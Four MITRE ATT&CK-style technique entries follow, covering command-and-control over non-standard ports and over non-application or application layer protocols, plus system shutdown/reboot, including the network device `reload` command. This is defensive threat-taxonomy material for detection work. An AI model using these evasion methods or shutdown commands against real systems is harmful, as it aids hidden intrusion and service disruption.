Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre